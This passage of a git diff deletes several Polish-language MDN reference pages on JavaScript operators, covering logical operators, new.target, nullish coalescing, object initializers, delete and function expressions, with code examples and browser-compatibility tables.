Poniższe wyrażenia nie są jednak równoważne ze względu na pierwszeństwo operatorów, co podkreśla, jak ważne jest, by operator po prawej stronie był pojedynczym wyrażeniem (zgrupowanym w razie potrzeby przy pomocy nawiasów).

- -
false && true  || true      // zwraca true
-false && (true || true)     // zwraca false
- -

Logiczne AND (&&)

- -

Poniżej pokazane są przykłady użycia operatora && (logicznego AND).

- -
a1 = true  && true       // t && t zwraca true
-a2 = true  && false      // t && f zwraca false
-a3 = false && true       // f && t zwraca false
-a4 = false && (3 == 4)   // f && f zwraca false
-a5 = 'Cat' && 'Dog'      // t && t zwraca "Dog"
-a6 = false && 'Cat'      // f && t zwraca false
-a7 = 'Cat' && false      // t && f zwraca false
-a8 = ''    && false      // f && f zwraca ""
-a9 = false && ''         // f && f zwraca false
-
- -

Logiczne OR (||)

- -

Poniżej pokazane są przykłady użycia operatora || (logicznego OR).

- -
o1 = true  || true       // t || t zwraca true
-o2 = false || true       // f || t zwraca true
-o3 = true  || false      // t || f zwraca true
-o4 = false || (3 == 4)   // f || f zwraca false
-o5 = 'Cat' || 'Dog'      // t || t zwraca "Cat"
-o6 = false || 'Cat'      // f || t zwraca "Cat"
-o7 = 'Cat' || false      // t || f zwraca "Cat"
-o8 = ''    || false      // f || f zwraca false
-o9 = false || ''         // f || f zwraca ""
-
- -

Logiczne NOT (!)

- -

Poniżej pokazane są przykłady użycia operatora ! (logicznego NOT).

- -
n1 = !true               // !t zwraca false
-n2 = !false              // !f zwraca true
-n3 = !'Cat'              // !t zwraca false
-
- -

Podwójne NOT (!!)

- -

Jest możliwe użycie kilku operatorów NOT naraz, by wprost wymusić konwersję dowolnej wartości do odpowiedniej wartości boolowskiej. Konwersja bazuje na „prawdziwości” lub „fałszywości” wartości (zobacz {{Glossary("truthy")}} i {{Glossary("falsy")}}).

- -

Taka sama konwersja może być dokonana poprzez funkcję {{jsxref("Boolean")}}.

- -
n1 = !!true                   // !!prawda zwraca true
-n2 = !!{}                     // !!prawda returns true: każdy obiekt jest "prawdą"...
-n3 = !!(new Boolean(false))   // ...nawet obiekty booloweskie z false jako wartością .valueOf()!
-n4 = !!false                  // !!fałsz zwraca false
-n5 = !!""                     // !!fałsz zwraca false
-n6 = !!Boolean(false)         // !!fałsz zwraca false
- -

Zasady przekształcania wyrażeń

- -

Przekształcanie AND na OR

- -

Poniższa operacja na wartościach logicznych:

- -
bCondition1 && bCondition2
- -

jest zawsze równa:

- -
!(!bCondition1 || !bCondition2)
- -

Przekształcanie OR na AND

- -

Poniższa operacja na wartościach logicznych:

- -
bCondition1 || bCondition2
- -

jest zawsze równa:

- -
!(!bCondition1 && !bCondition2)
- -

Przekształcanie NOT

- -

Poniższa operacja na wartościach logicznych:

- -
!!bCondition
- -

jest zawsze równa:

- -
bCondition
- -

Usuwanie zagnieżdżonych wyrażeń z nawiasami

- -

Jako że wyrażenia logiczne są ewaluowane od lewej do prawej, jest zawsze możliwe usunięcie nawiasów ze złożonego wyrażenia przy użyciu pewnych, przedstawionych dalej, reguł.

- -

Usuwanie zagnieżdżonego AND

- -

Następujące wyrażenie złożone na wartościach logicznych:

- -
bCondition1 || (bCondition2 && bCondition3)
- -

jest zawsze równe:

- -
bCondition1 || bCondition2 && bCondition3
- -

Usuwanie zagnieżdżonego OR

- -

Następujące wyrażenie złożone na wartościach logicznych:

- -
bCondition1 && (bCondition2 || bCondition3)
- -

jest zawsze równe:

- -
!(!bCondition1 || !bCondition2 && !bCondition3)
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusUwagi
{{SpecName('ES1')}}{{Spec2('ES1')}}Definicja początkowa.
{{SpecName('ES5.1', '#sec-11.11')}}{{Spec2('ES5.1')}}Zdefiniowane w kilku sekcjach specyfikacji: Logical NOT Operator, Binary Logical Operators
{{SpecName('ES6', '#sec-binary-logical-operators')}}{{Spec2('ES6')}}Zdefiniowane w kilku sekcjach specyfikacji: Logical NOT Operator, Binary Logical Operators
{{SpecName('ESDraft', '#sec-binary-logical-operators')}}{{Spec2('ESDraft')}}Zdefiniowane w kilku sekcjach specyfikacji: Logical NOT Operator, Binary Logical Operators
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.operators.logical")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/operatory/new.target/index.html b/files/pl/web/javascript/referencje/operatory/new.target/index.html deleted file mode 100644 index 8b60074e92..0000000000 --- a/files/pl/web/javascript/referencje/operatory/new.target/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: new.target -slug: Web/JavaScript/Referencje/Operatory/new.target -translation_of: Web/JavaScript/Reference/Operators/new.target ---- -
{{JSSidebar("Operators")}}
- -

new.target pozwala sprawdzić czy konstruktor lub funkcja była zainicjalizowana używając operatora new. Kiedy w konstruktorze lub funkcji zainicjalizowany jest operatora new, new.target zwraca referencje do konstruktora lub funkcji. W normalnym wywołaniu funkcji, new.target jest {{jsxref("undefined")}}.

- -

Syntax

- -
new.target
- -

Opis

- -

new.target składa się ze słowa "new", kropki i pola o nazwie "target". Przeważnie "new." jest kontekstem dostępu do pola, ale w tym przypadku "new." nie jest tak naprawdę obiektem. W wywołaniu konstruktora, new.target nawiązuje do konstruktora wywołanego przez new więc "new." staje się wirtualnym kontekstem.

- -

Pole new.target jest meta polem które jest dostępne dla wszystkich funkcji. W arrow functions, new.target nawiązuje do new.target otaczającej funkcji.

- -

Przykłady

- -

new.target w wywołaniu funkcji

- -

W normalnym wywołaniu funkcji (w przeciwieństwie do wywołania konstruktora), new.target jest {{jsxref("undefined")}}. Pozwala Ci to stwierdzić, czy funkcja została wywołana wraz z new jako konstruktor.

- -
function Foo() {
-  if (!new.target) throw "Foo() must be called with new";
-  console.log("Foo instantiated with new");
-}
-
-Foo(); // throws "Foo() must be called with new"
-new Foo(); // logs "Foo instantiated with new"
-
- -

new.target w konstruktorze

- -

W konstruktorach klasy, new.target nawiązuje do konstruktora który został bezpośrednio wywołany z new. Dzieje się tak również w przypadku kiedy konstruktor znajduje się w klasie rodzica, i został wywołany z konstruktorze dziecka.

- -
class A {
-  constructor() {
-    console.log(new.target.name);
-  }
-}
-
-class B extends A { constructor() { super(); } }
-
-var a = new A(); // logs "A"
-var b = new B(); // logs "B"
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-built-in-function-objects', 'Built-in Function Objects')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(46.0)}}{{CompatGeckoDesktop(41)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(46.0)}}{{CompatGeckoMobile(41)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(46.0)}}
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html b/files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html deleted file mode 100644 index c8a264e50e..0000000000 --- a/files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html +++ /dev/null @@ -1,251 +0,0 @@ ---- -title: Operator null'owego scalania (??) -slug: Web/JavaScript/Referencje/Operatory/Nullish_coalescing_operator -tags: - - JavaScript - - Language feature - - Operator - - Reference - - nullish coalescing -translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator ---- -

{{JSSidebar("Operators")}}

- -

Operator null'owego scalania (??) - to operator logiczny, stosowany w wyrażeniach, który zwraca to co jest po jego lewej stronie, tak długo, jak to nie jest null, albo undefined, wtedy zwraca to, co jest po prawej.

- -
-

Początkowo ewaluowane jest tylko wyrażenie z lewej strony.
- Dopiero, gdy zachodzi taka potrzeba, ewaluowane jest prawe wyrażenie.

-
- -

Jest podobny do logicznego operatora LUB (||)Logical OR (||) ), ale LUB decyduje o tym, czy wziąć prawą wartość, na innej podstawie:
- Czy lewa wartość jest fałszopodobna (Falsy)?
- null i undefined są fałszopodobne, ale sęk w tym, że nie tylko one, ale również np. 0, czy "". Czasem nie chce się podmieniać niczego za 0 i "", uważając je za dopuszczalne wartości.
- Wtedy właśnie przydaje się ten operator.

- -
{{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}}
- - - -

Składnia

- -
LWyr ?? PWyr
- - - - - - - - - - - - - - - - - - -
PoleOpis
LWyrWyrażenie główne, ewaluowane na początku.
- Jeżeli jego wartość wynikowa jest null, albo undefined, to nie ona zostanie zwrócona, ale wartość wynikowa wyrażenia PWyr
PWyrWyrażenie zamienne, ewaluowane, kiedy wartość LWyr jest null, albo undefined.
- -

Przykłady

- -

Użycie operatora

- -

W tym przykładzie użyjemy operatora null'owego scalania do podania zapasowych wartości, przy inicjowaniu stałych:

- -
const wartoscNull = null;
-const warA = wartoscNull ?? "domyślne dla A";
-console.log(warA);
-
-// konsola: "domyślne dla A"
-
-
-
-const pustyTekst = "";   // fałszopodobny
-const warB = pustyTekst ?? "domyślne dla B";
-console.log(warB);
-
-// konsola: ""
-// ponieważ "??" reaguje tylko konkretnie na null albo undefined
-
-
-
-const jakasLiczba = 42;
-const warC = jakasLiczba ?? 0;
-console.log(warC);
-
-// konsola: 42
- -

Porównanie działania "??" i "||"

- -

Wcześniej przed pojawieniem się tego operatora, używano LUB (||) (Logical OR (||)):

- -
let liczba;
-let zabezpLicz = liczba || 1;
-// zmienna "wejscie" nie była nigdy zapełniona żadną wartością,
-// więc była "undefined", a undefined jest fałszopodobne, więc
-// JavaScript wziął zapasowe '1'.
-
-console.log(2 * zabezpLicz);
-// konsola: 2
-
- -

To działa, ale...
- przez to jakim operatorem jest LUB, nie tylko undefined zostanie tu zamienione, ale też i 0, które, w kontekście tego przykładu, powiedzmy, że jest wartością, która powinna być ok:

- -
let liczba = 0;
-let zabezpLicz = liczba || 1;
-// zmienna "wejscie" została zapełniona zerem, ale jest fałszopodobne,
-//więc JavaScript wziął zapasowe '1'.
-
-console.log(2 * zabezpLicz);
-// konsola: 2
-// chcieliśmy: 0
-
- -

Operator null'owego scalania rozwiązuje ten problem:

- -
let liczba = 0;
-let zabezpLicz = liczba ?? 1;
-// zmienna "wejscie" została zapełniona zerem,
-//mimo tego, że jest fałszopodobne, "??" akceptuje je, bo to nie null, ani undefined, i
-//JavaScript zostawia '0'.
-
-console.log(2 * zabezpLicz);
-// konsola: 0
-
- -

Pomijanie ewaluacji

- -

Podobnie jak inne operatory logiczne LUB (Logical OR (||)) i I (Logical AND (&&)), ten operator rozpoczyna od ewaluacji wyrażenia po lewej stronie, i dopiero gdy trzeba, zajmuje się prawą stroną:

- -
function A(){
-  console.log("Tu A!");
-  return false;
-}
-function B(){
-  console.log("Tu B!");
-  return true;
-}
-
-if( A() ?? B() ) console.log("Otrzymano 'true'");
-else console.log("Otrzymano 'false'");
-// konsola: "Otrzymano 'false'"
-
- -

i :

- -
function A(){
-  console.log("Tu A!");
-  return null; // teraz tu jest zwracany null, na który reaguje "??"
-}
-function B(){
-  console.log("Tu B!");
-  return true;
-}
-
-if( A() ?? B() ) console.log("Otrzymano 'true'");
-else console.log("Otrzymano 'false'");
-// konsola: "Otrzymano 'true'"
- -

Nie działa seryjnie, ani z LUB, ani z I

- -

W wyrażeniach, nie można stawiać zwyczajnie operatora null'owego scalania w otoczeniu operatorów LUB i I, mimo ustalonej kolejności wykonywania działań. Będzie to odbierane jako błąd składniowy:

- -
null || undefined ?? "yyy..."; // to będzie SyntaxError
-true || undefined ?? "aha.";   // to też będzie SyntaxError
-//bo tu chodzi o to, że jest "||" i "??" razem, nie o wartości.
-
- -

Trzeba je rozdzielić nawiasami:

- -
(null || undefined) ?? "yyy...";  // zwraca: "yyy..."
-null || (undefined ?? "działa!"); // zwraca: "działa!"
-
- -

Odniesienie do Operatora opcjonalnego dostępu "?."

- -

Sposób w który operator null'owego scalania pracuje z wartościami null i undefined, jest intuicyjny analogicznie u operatora opcjonalnego dostępu (Optional chaining (?.), i razem pozwalają na ciekawe akcje, np.:

- -
class objekt{
-  tekst;
-
-  constructor(tekst = null){
-    this.tekst = tekst;
-  }
-
-  odczytTekst(){
-    return this.tekst;
-  }
-  wpisTekst(w){
-    this.tekst = w;
-    return true;
-  }
-}
-
-let objekty = [new objekt("cześć!"), null, new objekt()];
-
-
-
-// zadanie kodu: zamień tekst'y w objekt'ach na duże litery,
-// używając funkcji dostępu, a pozostawiając puste wartości
-// bez zmian
-
-
-// wersja typeof
-for(let i = 0; i < objekty.length; i++)
-  if(typeof(objekty[i]) == "object")
-    if(typeof(objekty[i].odczytTekst()) == "string")
-      objekty[i].wpisTekst(objekty[i].odczytTekst().toUpperCase());
-
-
-// wersja operatorów "??" i "?."
-for(let i = 0; i < objekty.length; i++)
-  objekty[i]?.wpisTekst(objekty[i]?.odczytTekst()?.toUpperCase() ?? null);
-
-console.log(objekty);
-
- -

Czasami użycie tych operatorów upraszcza kod.
- Poza tym każda funkcja jest wywoływana najwyżej raz i może to być co kolwiek.

- -

Specyfikacje

- - - - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#prod-Nulli', 'nullish coalescing expression')}}
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.operators.nullish_coalescing")}}

- -

Postępy implementacji

- -

Tabelka pod spodem pokazuje codzienny status implementacji tej funkcji. Jest tak, ponieważ nie osiągnięto jeszcze stabilności między przeglądarkami.
- Dane są generowane, poprzez przeprowadzanie odpowiednich testów funkcji w Test262, standardowym zestawie testów dla JavaScripta, na najnowszych kompilacjach (en: "nightly build"), lub najnowszych wydaniach (en: "latest release") silników JavaScripta przeglądarek.

- -
{{EmbedTest262ReportResultsTable("coalesce-expression")}}
- -

Zobacz też...

- - diff --git a/files/pl/web/javascript/referencje/operatory/object_initializer/index.html b/files/pl/web/javascript/referencje/operatory/object_initializer/index.html deleted file mode 100644 index 4148cc07d1..0000000000 --- a/files/pl/web/javascript/referencje/operatory/object_initializer/index.html +++ /dev/null @@ -1,387 +0,0 @@ ---- -title: Inicjalizator obiektu -slug: Web/JavaScript/Referencje/Operatory/Object_initializer -translation_of: Web/JavaScript/Reference/Operators/Object_initializer ---- -
{{JsSidebar("Operators")}}
- -

Obiekty można tworzyć używając new Object(), Object.create(), bądź wykorzystując notację literałową (notację inicializacyjną). Inicjalizator obiektu to lista zera lub więcej par - nazw właściwości oraz ich wartości - otoczonych nawiasami klamrowymi ({}).

- -

Składnia

- -
var o = {};
-var o = { a: "foo", b: 42, c: {} };
-
-var a = "foo", b = 42, c = {};
-var o = { a: a, b: b, c: c };
-
-var o =
-{
-  wlasciwosc: function ([parametry]) {},
-  get wlasciwosc() {},
-  set wlasciwosc(wartosc) {},
-};
-
- -

Nowe notacje w ECMAScript 2015

- -

Pamiętaj aby zapoznać się z tabelą kompatybilności. Środowiska nie obsługujące tych notacji będą wyrzucać błędy składni.

- -
// Skrótowe nazwy właściwości (ES6)
-var a = "foo", b = 42, c = {};
-var o = { a, b, c };
-
-// Skrótowe nazwy metod (ES6)
-var o = {
-  wlasciwosc([parametry]) {},
-  get wlasciwosc() {},
-  set wlasciwosc(wartosc) {},
-  * generator() {}
-};
-
-// Obliczone nazwy właściwości (ES6)
-var nazwa = "foo";
-var o = {
-  [nazwa]: "dzien",
-  ["b" + "ar"]: "dobry",
-};
- -

Opis

- -

Inicjalizator obiektu to wyrażenie opisujące inicjalizację obiektu {{jsxref("Object")}}. Obiekty składają się z właściwości używanych do opisywania obiektu. Wartości tych właściwości mogą zawierać {{Glossary("primitive")}} typy danych albo inne obiekty.

- -

Tworzenie obiektów

- -

Pusty obiekt możemy stworzyć w taki sposób:

- -
var obiekt = {};
- -

Jednak prawdziwą przewagą notacji literałowej jest możliwość tworzenia w szybki sposób obiektów ze zdefiniowanymi od razu właściwościami. Wystarczy wypisać listę kluczy: wartości odzdzielonych dwukropkiem. Poniższy przykład tworzy obiekt osoba z trzema właściwościami: "imie", "wiek" i "wyglad". Ich wartościami jest string "Adam", numer 42 oraz inny obiekt.

- -
var osoba =
-{
-  imie: "Adam",
-  wiek: 42,
-  wyglad: { wzrost: 179 },
-}
- -

Dostęp do właściwości

- -

Kiedy już stworzyłeś obiekt, możesz chcieć zobaczyć lub zmienić jego właściwości. Można zrobić to używając zapisu z kropką lub nawiasami. Zajrzyj do operatorów pamięci po więcej informacji.

- -
object.imie; // "Adam"
-object["wiek"]; // 42
-
-object.imie = "Ewa";
-
- -

Definiowanie właściwości

- -

Nauczyliśmy się już jak zapisywać właściwości używając notacji literałowej. Czasami jednak mamy w kodzie zmienne, które chcielibyśmy dodać do naszego obiektu. Możemy to zrobić w taki sposób:

- -
var a = "foo",
-    b = 42,
-    c = {};
-
-var o =
-{
-  a: a,
-  b: b,
-  c: c
-};
- -

Ale ECMAScript 2015 oddaje nam do dyspozycji krótszy zapis, pozwalający uzyskać ten sam efekt:

- -
var a = "foo",
-    b = 42,
-    c = {};
-
-// Skrótowe nazwy właściwości (ES6)
-var o = { a, b, c };
- -

Duplikowanie nazw właściwości

- -

W momencie, gdy użyjemy już istniejącej nazwy właściwości jej wartość nadpisze tę poprzednią.

- -
var a = {x: 1, x: 2};
-console.log(a); // { x: 2}
-
- -

W ECMAScript 5 strict mode, duplikowanie nazw właściwości było postrzegane jako {{jsxref("SyntaxError")}}. Zmieniono to jednak po wprowadzeniu obliczanych nazw właściwości. Duplikacja stała się wówczas możliwa podczas wykonywania kodu, dlatego też w ECMAScript 2015 usunięto tę rystrykcję.

- -
function czyES6UmozliwiaDuplikowanieWlasciwosci()
-{
-  "use strict";
-  try
-  {
-    ({ prop: 1, prop: 2 });
-
-    // Nie wyrzucono błędu, duplikacja dozwolona w strict mode.
-    return true;
-  }
-  catch (e)
-  {
-    // Wyrzucono błąd, duplikacja w strict mode zabroniona.
-    return false;
-  }
-}
- -

Definicje metod

- -

Właściwość obiektu może również odnosić się do funkcji albo metody getter lub setter.

- -
var o = {
-  wlasciwos: function ([parametry]) {},
-  get wlasciwos() {},
-  set wlasciwos(wartosc) {},
-};
- -

w ECMAScript 2015, mamy dostęp do skróconego zapisu, takiego w którym słowo kluczowe "function" nie jest nam już potrzebne.

- -
// Shorthand method names (ES6)
-var o = {
-  property([parameters]) {},
-  get property() {},
-  set property(value) {},
-  * generator() {}
-};
- -

W ECMAScript 2015 możemy również w prostszy sposób zapisać właściwość będącą funkcją generatora:

- -
var o = {
-  * generator() {
-    ...........
-  }
-};
- -

W ECMAScript 5 musielibyśmy zapisać to tak (aczkolwiek pamiętaj że w ES5 nie ma generatorów):

- -
var o = {
-  generator: function *() {
-    ...........
-  }
-};
- -

Po więcej informacji zajrzyj do definicji metod.

- -

Obliczone nazwy właściwości

- -

Od ECMAScript 2015, składnia inicjalizatora obiektu wspiera także obliczone nazwy właściwości. Umożliwia to umieszczenie wyrażenia w nawiasach [], które potem zostanie przeliczone na nazwę właściwości. Działa to na tej samej zasadzie co zapis klamrowy w operatorach pamięci, z którymi zapewne miałeś już styczność. Teraz możemy użwać tej samej składni w notacji literałowej:

- -
// Obliczone nazwy właściwości (ES6)
-var i = 0;
-var a = {
-  ["foo" + ++i]: i,
-  ["foo" + ++i]: i,
-  ["foo" + ++i]: i
-};
-
-console.log(a.foo1); // 1
-console.log(a.foo2); // 2
-console.log(a.foo3); // 3
-
-var param = 'typ';
-var info = {
-  [param]: 'strona',
-  ["pod" + param.charAt(0).toUpperCase() + param.slice(1)]: 'forum'
-};
-
-console.log(info); // { typ: 'strona', 'podTyp': 'forum' }
- -

Zmiana prototypu

- -

Definicja właściwości w formie __proto__: wartosc albo "__proto__": wartosc nie stworzy właściwości z nazwą __proto__. Zamiast tego, jeżeli podana wartość jest obiektem lub typem null, zamieni ona [[Prototype]] tworzonego obiektu na podaną wartość. (Jeżeli wartość nie jest ani obiektem ani typem null prototyp nie zostanie zmieniony.)

- -
var obj1 = {};
-console.log(Object.getPrototypeOf(obj1) === Object.prototype); // true
-
-var obj2 = { __proto__: null };
-console.log(Object.getPrototypeOf(obj2) === null); // true
-
-var protoObj = {};
-var obj3 = { "__proto__": protoObj };
-console.log(Object.getPrototypeOf(obj3) === protoObj); // true
-
-var obj4 = { __proto__: "not an object or null" };
-console.log(Object.getPrototypeOf(obj4) === Object.prototype); // true
-console.log(!obj4.hasOwnProperty("__proto__")); // true
-
- -

Podczas notacji literałowej możemy zmienić prototyp tylko raz, kolejne próby będą skutkować błędami składni.

- -

Jeżeli użyjemy w defninicji nazwy __proto__ bez używania składni z dwukropkiem, nazwa ta będzie się zachowywać jak kazda inna.

- -
var __proto__ = "wartosc";
-
-var obj1 = { __proto__ };
-console.log(Object.getPrototypeOf(obj1) === Object.prototype); // true
-console.log(obj1.hasOwnProperty("__proto__")); // true
-console.log(obj1.__proto__ === "wartosc"); // true
-
-var obj2 = { __proto__() { return "witaj"; } };
-console.log(obj2.__proto__() === "witaj"); // true
-
-var obj3 = { ["__prot" + "o__"]: 17 };
-console.log(obj3.__proto__ === 17); // true
-
- -

Notacja literałowa vs JSON

- -

Notacja literałowa to nie to samo co JavaScript Object Notation (JSON). Pomimo, że wyglądają podobnie, są miedzy nimi poważne różnice:

- - - -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Początkowa definicja.
{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}{{Spec2('ES5.1')}}Dodano metody getter oraz setter.
{{SpecName('ES6', '#sec-object-initializer', 'Object Initializer')}}{{Spec2('ES6')}}Skrócone nazwy właściwości/metod oraz obliczone nazwy właściwości.
{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(1.0)}}{{CompatGeckoDesktop("1.0")}}111
Computed property names{{CompatVersionUnknown}}{{CompatGeckoDesktop("34")}}{{CompatNo}}{{CompatNo}}7.1
Shorthand property names{{CompatVersionUnknown}}{{CompatGeckoDesktop("33")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Shorthand method names{{CompatChrome(42.0)}}{{CompatGeckoDesktop("34")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}111{{CompatChrome(1.0)}}
Computed property names{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("34")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Shorthand property names{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("33")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Shorthand method names{{CompatNo}}{{CompatChrome(42.0)}}{{CompatGeckoMobile("34")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(42.0)}}
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/operatory/operator_delete/index.html b/files/pl/web/javascript/referencje/operatory/operator_delete/index.html deleted file mode 100644 index d2a3679804..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operator_delete/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Operator delete -slug: Web/JavaScript/Referencje/Operatory/Operator_delete -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Operators/delete ---- -
{{jsSidebar("Operators")}}
- -

Operator delete usuwa obiekt, własność obiektu lub element w określonym indeksie w tablicy.

- -

Składnia

- -
delete  nazwaObiektu
-
- -
delete nazwaObiektu.własność
-delete nazwaObiektu['własność']
-
- -

Parametry

- -
-
nazwaObiektu
-
Nazwa obiektu.
-
- -
-
własność
-
Własność do usunięcia.
-
- -

Opis

- -

Czwarta forma jest dozwolona tylko wewnątrz instrukcji with w celu usunięcia własności z obiektu.

- -

Możesz użyć operatora delete, aby usunąć zmienne zadeklarowane bezpośrednio, jednak nie możesz usunąć zmiennych zadeklarowanych za pomocą instrukcji var.

- -

Jeśli operator delete zadziała prawidłowo, ustawi on własność lub element jako undefined (niezdefiniowany). Operator delete zwraca wartość true (prawda), jeśli operacja jest możliwa, zaś wartość false (fałsz), gdy operacja nie jest możliwa.

- -
x = 42;
-var y = 43;
-myobj = new Number();
-myobj.h = 4;      // tworzy własność h
-delete x;         // zwraca true (można usuwać, jeśli zadeklarowano bezpośrednio)
-delete y;         // zwraca false (nie można usuwać, jeśli zadeklarowano za pomocą var)
-delete Math.PI;   // zwraca false (nie można usuwać własności predefiniowanych)
-delete myobj.h;   // zwraca true (można usuwać własności zdefiniowane przez użytkownika)
-delete myobj;     // zwraca true (można usuwać obiekty)
-
- -

Usuwanie elementów tablicy

- -

Gdy usuwasz element tablicy nie ma to wpływu na jej długość. Na przykład: jeśli usuniesz a{{ mediawiki.external(3) }}, a{{ mediawiki.external(4) }} będzie wciąż a{{ mediawiki.external(4) }}, natomiast a{{ mediawiki.external(3) }} będzie niezdefiniowane.

- -

Gdy operator delete usuwa element tablicy, element ten przestaje już w niej istnieć. W poniższym przykładzie drzewa{{ mediawiki.external(3) }} jest usunięte za pomocą delete.

- -
drzewa = new Array("sekwoja","wawrzyn","cedr","dąb","klon");
-delete drzewa[3];
-if (3 in drzewa) {
-   // to nie zostanie wykonane
-}
-
- -

Jeśli chcesz, aby element tablicy nadal istniał, ale posiadał wartość niezdefiniowaną, użyj słowa kluczowego undefined zamiast operatora delete. W poniższym przykładzie, drzewa{{ mediawiki.external(3) }} jest przypisana wartość niezdefiniowana, ale element tablicy nadal istnieje:

- -
drzewa = new Array("sekwoja","wawrzyn","cedr","dąb","klon");
-drzewa[3] = undefined;
-if (3 in drzewa) {
-   // to zostanie wykonane
-}
-
- -
 
diff --git a/files/pl/web/javascript/referencje/operatory/operator_function/index.html b/files/pl/web/javascript/referencje/operatory/operator_function/index.html deleted file mode 100644 index 1d13d1a3c0..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operator_function/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Operator function -slug: Web/JavaScript/Referencje/Operatory/Operator_function -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Operators/function ---- -

 

- -

Podsumowanie

- -

Operator function jest używany do definiowania funkcji wewnątrz wyrażenia.

- -

Składnia

- -
function [nazwa]([argument1[, argument2[, ..., argumentN]]]) { instrukcje }
-
- -

Parametry

- -
-
nazwa
-
Nazwa funkcji. Może zostać pominięta, w takim wypadku funkcja staje się anonimowa. Nazwa jest tylko lokalna i istnieje wewnętrz funkcji.
-
- -
-
argumentN
-
Nazwa argumentu, który ma zostać przekazany do funkcji. Funkcja może posiadać do 255 argumentów.
-
- -
-
instrukcje
-
Instrukcje, które stanowią ciało funkcji.
-
- -

Opis

- -

Wyrażenie funkcji jest bardzo podobne do deklaracji funkcji i posiada niemal identyczną składnię (zobacz function, aby uzyskać bardziej szczegółowe informacje). Główną różnicą pomiędzy wyrażeniem a definicją jest nazwa funkcji, która może zostać pominięta i utworzyć funkcję anonimową. Zobacz Funkcje, aby uzyskać informacje o różnicach między instrukcjami funkcji a wyrażeniami funkcji.

- -

Przykłady

- -

Poniższy przykład definiuje nienazwaną funkcję i przypisują ją do x. Funkcja zwraca kwadrat jej argumentów:

- -
var x = function(y) {
-   return y * y;
-};
-
- -

Nazwane wyrażenie

- -
var math = {
-  'factorial': function factorial(n) {
-    if (n <= 1)
-      return 1;
-    return n * factorial(n - 1);
-  }
-};
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarze
{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-13', 'Function definition')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-13', 'Function definition')}}{{Spec2('ES3')}}Zaimplementowano w JavaScript 1.5.
- -

Wsparcie przeglądarek

- -

{{CompatibilityTable}}

- - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
- - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
- -

Zobacz także

- -

Funkcje, Function, Polecenie function

